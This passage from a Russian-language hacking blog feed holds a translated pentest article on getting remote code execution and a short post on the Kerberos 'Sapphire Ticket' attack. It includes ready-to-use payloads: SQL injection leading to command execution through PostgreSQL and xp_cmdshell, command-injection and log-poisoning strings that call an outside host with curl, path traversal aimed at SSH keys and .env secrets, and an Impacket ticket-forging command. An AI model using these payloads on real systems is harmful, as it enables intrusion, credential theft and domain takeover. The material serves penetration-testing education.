/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS &#x27;/lib/libc.so.6&#x27;,&#x27;system&#x27; LANGUAGE &#x27;C&#x27;

STRICT --
/store.php?id=1; SELECT system(&#x27;uname -a &gt; /tmp/test&#x27;) --
/store.php?id=1; COPY stdout(system_out) FROM &#x27;/tmp/test&#x27; --
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--</pre>
  <p id="KhKT"><strong>MSSQL</strong></p>
  <p id="OEvD">Здесь существуют известные хранимые процедуры, которые помогают выполнять команды ОС непосредственно из базы данных.<br />Нативный способ выполнения команд операционной системы на сервере MSSQL заключается в использовании xp_cmdshell. Эта хранимая процедура по умолчанию отключена и может быть активирована только пользователем sa (системным администратором).</p>
  <p id="7odT">Пример простой команды с использованием xp_cmdshell:</p>
  <pre id="7puK">EXEC xp_cmdshell &#x27;ipconfig&#x27;;</pre>
  <p id="jtoB">Предположим, что вам удалось найти уязвимое место для инъекции. Если у вас есть доступ к пользователю sa или другой учетной записи с достаточными привилегиями, вы можете получить RCE на целевой системе!<br />Если же у вас есть достаточно прав для запуска xp_cmdshell, но эта функция отключена, вы можете включить ее с помощью следующей команды:</p>
  <pre id="EeeX">1; EXEC sp_configure &#x27;show advanced options&#x27;, 1; RECONFIGURE; EXEC sp_configure &#x27;xp_cmdshell&#x27;, 1; RECONFIGURE; --</pre>
  <p id="58qF">И, наконец, для выполнения любой команды вы можете использовать:</p>
  <pre id="Hfpo">1; EXEC xp_cmdshell &#x27;ping chux.io&#x27;; EXEC xp_cmdshell &#x27;dir C:\\users&#x27;; --</pre>
  <p id="LO72">Здесь стоит упомянуть, что кроме xp_cmdshell, есть еще несколько хранимых процедур, которые можно использовать для манипуляций с целевым сервером:<br />xp_regread — чтение из реестра. Пример:</p>
  <pre id="6sS4">EXEC xp_regread 
    @rootkey = &#x27;HKEY_LOCAL_MACHINE&#x27;,
    @key = &#x27;SOFTWARE\Microsoft\Windows Defender&#x27;,
    @value_name = &#x27;DisableAntiSpyware&#x27;;</pre>
  <p id="XIzG">xp_regwrite — запись в реестр. Пример:</p>
  <pre id="Iw71">EXEC xp_regwrite 
    @rootkey = &#x27;HKEY_LOCAL_MACHINE&#x27;,
    @key = &#x27;SYSTEM\CurrentControlSet\Services\MyService&#x27;,
    @value_name = &#x27;Start&#x27;,
    @type = &#x27;REG_DWORD&#x27;,
    @value = &#x27;2&#x27;;</pre>
  <p id="sM31">sp_send_dbmail — замена xp_sendmail. Пример:</p>
  <pre id="wHVT">EXEC msdb.dbo.sp_send_dbmail  
    @profile_name = &#x27;DefaultProfile&#x27;,  
    @recipients = &#x27;chux@chux.io&#x27;,  
    @subject = &#x27;Test Email&#x27;,  
    @body = &#x27;This is a test email sent from SQL Server.&#x27;;</pre>
  <p id="zzr5">Подводя итог «от SQLi до RCE» - существует много способов выполнить произвольный код на сервере через SQL-сервис. Конечно, как правило, рекомендуется, чтобы системные администраторы предоставляли минимально необходимые привилегии этим службам, а упомянутые SQL-функции должны быть отключены, поскольку обычно они используются крайне редко.</p>
  <p id="009I">И всё же, я до сих пор находил достаточно SQL-серверов, которые могут читать/записывать файлы на сервере. Поэтому, если вы обнаружили SQL-инъекцию, всегда пытайтесь определить свои привилегии, чтобы максимально увеличить максимальный профит!</p>
  <p id="DnUN"><strong>Command Injection</strong></p>
  <p id="T6WU">Это самая классическая уязвимость RCE (удаленное выполнение кода), которую каждый из нас хотел бы найти. Хотя в наши дни она уже не так распространена, всё же её можно встретить во множестве IoT устройств, особенно в роутерах. К счастью, мне также встречались веб-приложения, обычно созданные на PHP и NodeJS, которые использовали некоторые функции операционной системы в сочетании с пользовательскими параметрами для выполнения команд на сервере, что позволяло злоумышленнику довольно легко получить RCE.<br />  <br /><strong>Классическая инъекция</strong></p>
  <p id="qIBJ">Во время одного black-box тестирования я наткнулся на внутреннее веб-приложение, в котором одна из функций позволяла пользователю ввести URL веб-сайта организации, чтобы скачать оттуда файл и затем предоставить его пользователю после конвертации формата.</p>
  <p id="KSNa">Я предположил, что за кулисами разработчик мог использовать команды curl или wget, передавая URL-адрес, введённый пользователем, в качестве аргумента. Я представил себе что-то вроде:  </p>
  <pre id="cIt9">&lt;?php
function downloadFile($url) {
    $getfile = &quot;wget $url -O downloaded_file&quot;;
    system($getfile); 
    echo &quot;File downloaded successfully!&quot;;
}
if (isset($_GET[&#x27;file&#x27;])) {
    downloadFile($_GET[&#x27;file&#x27;]);
}
?&gt;</pre>
  <p id="ZncX">Итак, если код в веб-приложении похож на тот, который я описал выше, мы можем предоставить URL, а затем просто добавить что-то вроде “; curl chux.io #”, чтобы подтвердить нашу теорию.</p>
  <p id="HagA">В этом случае это сработало, и у меня была слепая инъекция команд, что сделало возможным запуск обратной оболочки или загрузку webshell.</p>
  <p id="el6p"><strong>Second Order Injection</strong></p>
  <p id="bt0z">Second Order Injection происходят, когда уязвимая функция выполняет код, сохраненный в базе данных, без прямого ввода пользователя в саму уязвимую функцию.</p>
  <p id="hp66">В ходе просмотра кода другого внутреннего веб-приложения для туристической компании я обнаружил функцию, которая загружает документы с FTP-серверов в сети, используя что-то похожее на следующий код:</p>
  <pre id="ZSki">&lt;?php
function connectToFTP($server_id) {
    global $conn;
    $query = &quot;SELECT ip_address FROM doc_servers WHERE id=$server_id&quot;;
    $result = $conn-&gt;query($query);
    $row = $result-&gt;fetch_assoc();
    $ip_address = $row[&#x27;ip_address&#x27;];
    system(&quot;ftp $ip_address&quot;);  
}
if (isset($_GET[&#x27;server_id&#x27;])) {
    connectToFTP($_GET[&#x27;server_id&#x27;]);
}
?&gt;</pre>
  <p id="tCxC">Код выше берет IP-адрес сервера из базы данных и передает его в функцию system() без какой-либо валидации. Я сразу же стал искать место в коде, которое отвечает за добавление или редактирование IP-адресов серверов, и к моему удивлению, валидация была только на стороне клиента!</p>
  <p id="xxpB">Итак, я создал новый сервер и ввел следующий IP-адрес в поле:</p>
  <pre id="Lfy4">127.0.0.1; echo &#x27;pwned&#x27; &gt; /var/www/html/chux.txt / #</pre>
  <p id="QXAY">И как ожидалось, когда я выполнил FTP-функцию для получения документов с сервера, мой файл был создан на веб-сервере, что стало доказательством критической уязвимости!</p>
  <p id="6ffY"><strong>Path Traversal</strong></p>
  <p id="xwaY">Эта атака известна тем, что позволяет злоумышленникам читать произвольные файлы на сервере, но не выполнять код напрямую. Однако в некоторых случаях я обнаруживал, что эта атака является отличным способом получить RCE.</p>
  <p id="Y2nQ">Файлы, которые я обычно ищу, чтобы эскалировать эту атаку:<br />    • SSH-ключи (/home/*/.ssh/id_rsa)<br />    • .env файлы — обычно содержат секреты и учетные данные<br />    • Bash-скрипты — могут содержать учетные данные для серверов и баз данных<br />    • web.config — в .NET приложениях этот файл может содержать MachineKey, что может привести к атаке десериализации ViewState<br />    <br />Эта атака не предоставляет нам напрямую выполнение кода на сервере, но, если мы тщательно исследуем файловую систему, мы сможем найти полезную информацию для подключения к цели.</p>
  <p id="iVQF">Один из моих любимых примеров силы path traversal — это <a href="https://blog.qualys.com/vulnerabilities-threat-research/2021/10/27/apache-http-server-path-traversal-remote-code-execution-cve-2021-41773-cve-2021-42013" target="_blank">CVE-2021–41773 &amp; CVE-2021–42013</a>.</p>
  <p id="ht18"><strong>Local File Inclusion (LFI)</strong></p>
  <p id="hWrh">В отличие от предыдущей уязвимости, с LFI мы не только можем читать файлы на сервере, но и выполнять PHP код!</p>
  <p id="AHjI">Если целевое приложение использует одну из популярных PHP-функций:<br />    • require()<br />    • include()<br />    • require_once()<br />    • include_once()</p>
  <p id="8iWM">Мы должны проверить, можно ли передать этим функциям путь к файловой системе сервера. Наиболее распространенные методы, с которыми я столкнулся в реальных атаках, — это отравление логов и загрузка файлов.<br />При отравлении логов нужно проверить, к каким файлам на сервере мы можем получить доступ с правами веб-сервера. Например:</p>
  <ul id="Sx3h">
    <li id="eab8">/var/log/apache2/access.log</li>
    <li id="460e">/var/log/apache2/error.log</li>
    <li id="18a3">/var/log/auth.log</li>
    <li id="febf">/var/log/mail.log</li>
  </ul>
  <p id="qaHJ">Если нам удастся добавить строку PHP в один из этих логов, то мы сможем получить RCE на целевом сервере. Например, если мы можем читать auth.log, то можно «отравить» его, просто совершив неудачную попытку подключения по SSH:</p>
  <pre id="nWbQ">ssh &quot;&lt;?php system(&#x27;curl chux.io&#x27;); ?&gt;@10.20.30.40&quot;</pre>
  <p id="RVYS">Доступ к auth.log через функцию PHP, такую как include(), приведет к выполнению кода в файле журнала!</p>
  <p id="vQ5K">Другим распространенным вариантом является использование LFI через загрузку файлов. Если есть защита от загрузки файлов, которая, например, имеет белый список только для jpg-файлов, мы можем использовать Exiftool для внедрения нашего PHP-кода в комментарий или любой другой атрибут файла, а затем просто загрузить его как jpg. Прямой доступ к загруженному файлу не приведет к выполнению нашего кода, но доступ к нему через LFI заставит код работать!</p>
  <p id="zbNQ"><strong>Уязвимость file upload</strong></p>
  <p id="5ZSj">Это, возможно, одна из моих любимых атак. Каждый раз, когда я вижу эту функциональность, я трачу много времени, пытаясь ее использовать.<br />В этой статье я не буду углубляться в методологию тестирования, но рекомендую прочитать мои предыдущие статьи на эту тему:<br />    • <a href="https://medium.com/@red.whisperer/5-advanced-ways-i-test-for-file-upload-vulnerabilities-5b01358f87d1" target="_blank">5 Advanced Ways I Test For File Upload Vulnerabilities</a><br />    • <a href="https://infosecwriteups.com/from-file-upload-to-lfi-a-journey-to-exploitation-02ab5e1a7d0a" target="_blank">From File Upload To LFI</a></p>
  <p id="nWyY">Однако в большинстве случаев функционал загрузки файлов может быть далеко непростым. От загрузки веб-оболочки до XXE и уязвимостей произвольного чтения файлов, все должно быть очень тщательно протестировано.</p>
  <p id="o0ZF">У меня есть друг, который тестировал веб-приложение на NodeJS на уязвимость file upload и нашел способ загружать JS файлы вместе с обходом каталогов. В конечном итоге это привело к отказу в обслуживании, когда он случайно перезаписал оригинальный index.js файл на сервере.</p>
  <p id="Jhs3">Совсем недавно у меня был обзор кода для PHP-веб-приложения, и следующий код меня шокировал:</p>
  <figure id="dG6b" class="m_original">
    <img src="https://img3.teletype.in/files/a8/49/a849ad2a-bd8f-4f1e-948e-78cda72878fa.png" width="690" />
  </figure>
  <p id="9hcI">Как видите, нет никаких ограничений на загрузку файлов, и это в уважаемой компании.</p>
  <p id="3YKt">Функция загрузки файлов — отличное место для поиска вашей следующей критической уязвимости, не сдавайтесь после первой неудачной попытки загрузить файл .php!</p>
  <p id="jDk5"><strong>Итог</strong></p>
  <p id="pqMD">Существует множество различных способов достижения удаленного выполнения кода с использованием различных уязвимостей. Здесь мы упомянули только несколько, которые, по моему опыту, были наиболее распространенными в реальных случаях.</p>
  <p id="t1oz">Хотя существуют «очевидные» уязвимости для RCE, такие как инъекция команд и загрузка файлов, в некоторых случаях мы можем получить чрезвычайно высокую ценность, используя SQLi или доступ к файлам (path traversal).</p>
  <p id="wU1O">Когда вы изучаете новую тему или находите новую уязвимость в своих проектах, потратьте достаточно времени, чтобы найти способ эскалации вашей атаки. Я читал о случаях, когда даже CSRF можно было преобразовать в RCE.</p>
  <p id="35xu">Удачи в поиске вашей следующей RCE уязвимости, хакеры!</p>
  <p id="0pU9"><a href="https://infosecwriteups.com/5-ways-i-got-rces-99a78901ba33" target="_blank">Источник</a></p>
  <p id="pflk"><strong>Life-Hack Media:</strong></p>
  <p id="gIiW"><a href="https://t.me/+9vFcPuJbUW81MjEy" target="_blank">Life-Hack - Жизнь-Взлом</a></p>
  <p id="QOcc"><a href="https://t.me/+pHdKt8ZxN0o2NGRi" target="_blank">OSINT</a></p>
  <p id="16PP"><a href="https://t.me/+gsTxO5cHhX0wN2Uy" target="_blank">Новости Кибербеза</a></p>
  <p id="5hPt"><a href="https://t.me/+LjoqRT1KP41lNDgy" target="_blank">Курсы по программированию</a></p>
  <p id="qLcM"><a href="https://t.me/+zmVTbJXjHu8yMTNi" target="_blank">Юмор</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@haccking/faDfZX1LMs1</guid><link>https://teletype.in/@haccking/faDfZX1LMs1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking</link><comments>https://teletype.in/@haccking/faDfZX1LMs1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking#comments</comments><dc:creator>haccking</dc:creator><title>Sapphire Ticket</title><pubDate>Sun, 05 Jan 2025 14:15:00 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/cc/42/cc422a2a-f515-4bb3-b140-0d99effb6c95.png"></media:content><category>Pentest обучение</category><description><![CDATA[<img src="https://img3.teletype.in/files/63/e1/63e11f46-2842-4013-9b84-ce7c3f7f9183.jpeg"></img>]]></description><content:encoded><![CDATA[
  <figure id="QKnC" class="m_original">
    <img src="https://img3.teletype.in/files/63/e1/63e11f46-2842-4013-9b84-ce7c3f7f9183.jpeg" width="1024" />
  </figure>
  <p id="S8Vf"><strong>Теория</strong></p>
  <p id="Mwk4">Сапфировые билеты похожи на Алмазные билеты тем, что билет не подделывается, а легитимно получается после запроса. Различие заключается в том, как модифицируется PAC. Подход с Алмазным билетом модифицирует легитимный PAC. В подходе с Сапфировым билетом PAC другого привилегированного пользователя получается с помощью S4U2self+u2u. Этот PAC затем заменяет тот, который представлен в легитимном билете. Процесс состоит из легитимных элементов (начиная со стандартного запроса билета), что делает его самым сложным вариантом для обнаружения.</p>
  <p id="txY0"><strong>Практика</strong></p>
  <p id="hr17">Поскольку Алмазные билеты модифицируют PAC в реальном времени, чтобы включить произвольные идентификаторы групп, есть вероятность, что какое-то программное обеспечение способно выявлять несоответствия между значениями PAC и реальными данными Active Directory (например, PAC указывает, что пользователь принадлежит к определённым группам, хотя на самом деле это не так).</p>
  <p id="z33x">Сапфировые билеты являются альтернативой для получения аналогичных билетов более скрытым способом, используется легитимный PAC привилегированного пользователя. Больше не будет несоответствий между тем, что находится в PAC, и тем, что имеется в Active Directory.</p>
  <p id="R2wf">Ticketer из Impacket может быть использован для реализации этой атаки на UNIX-подобных системах.</p>
  <pre id="OufH">ticketer.py -request -impersonate &#x27;domainadmin&#x27; -domain &#x27;DOMAIN.FQDN&#x27; -user &#x27;domain_user&#x27; -password &#x27;password&#x27; -nthash &#x27;krbtgt NT hash&#x27; -aesKey &#x27;krbtgt AES key&#x27; -user-id &#x27;1115&#x27; -domain-sid &#x27;S-1-5-21-...&#x27; &#x27;baduser&#x27;</pre>
  <p id="sWCH">Важно отметить: аргумент -user-id будет использоваться для построения структуры PAC &quot;Заказчика&quot;. Аргументы, используемые для настройки PAC, будут игнорироваться (-groups, -extra-sid, -duration). Также будет игнорироваться SID домена (-domain-sid) и имя пользователя, переданное в позиционном аргументе (в данном случае, baduser). Вся эта информация будет взята в неизменном виде из PAC, полученного ранее с использованием техники &quot;S4U2self + U2U&quot;.</p>
  <p id="pflk"><strong>Life-Hack Media:</strong></p>
  <p id="gIiW"><a href="https://t.me/+9vFcPuJbUW81MjEy" target="_blank">Life-Hack - Жизнь-Взлом</a></p>
  <p id="QOcc"><a href="https://t.me/+pHdKt8ZxN0o2NGRi" target="_blank">OSINT</a></p>
  <p id="16PP"><a href="https://t.me/+gsTxO5cHhX0wN2Uy" target="_blank">Новости Кибербеза</a></p>
  <p id="5hPt"><a href="https://t.me/+LjoqRT1KP41lNDgy" target="_blank">Курсы по программированию</a></p>
  <p id="qLcM"><a href="https://t.me/+zmVTbJXjHu8yMTNi" target="_blank">Юмор</a></p>

]]></content:encoded></item></channel></rss>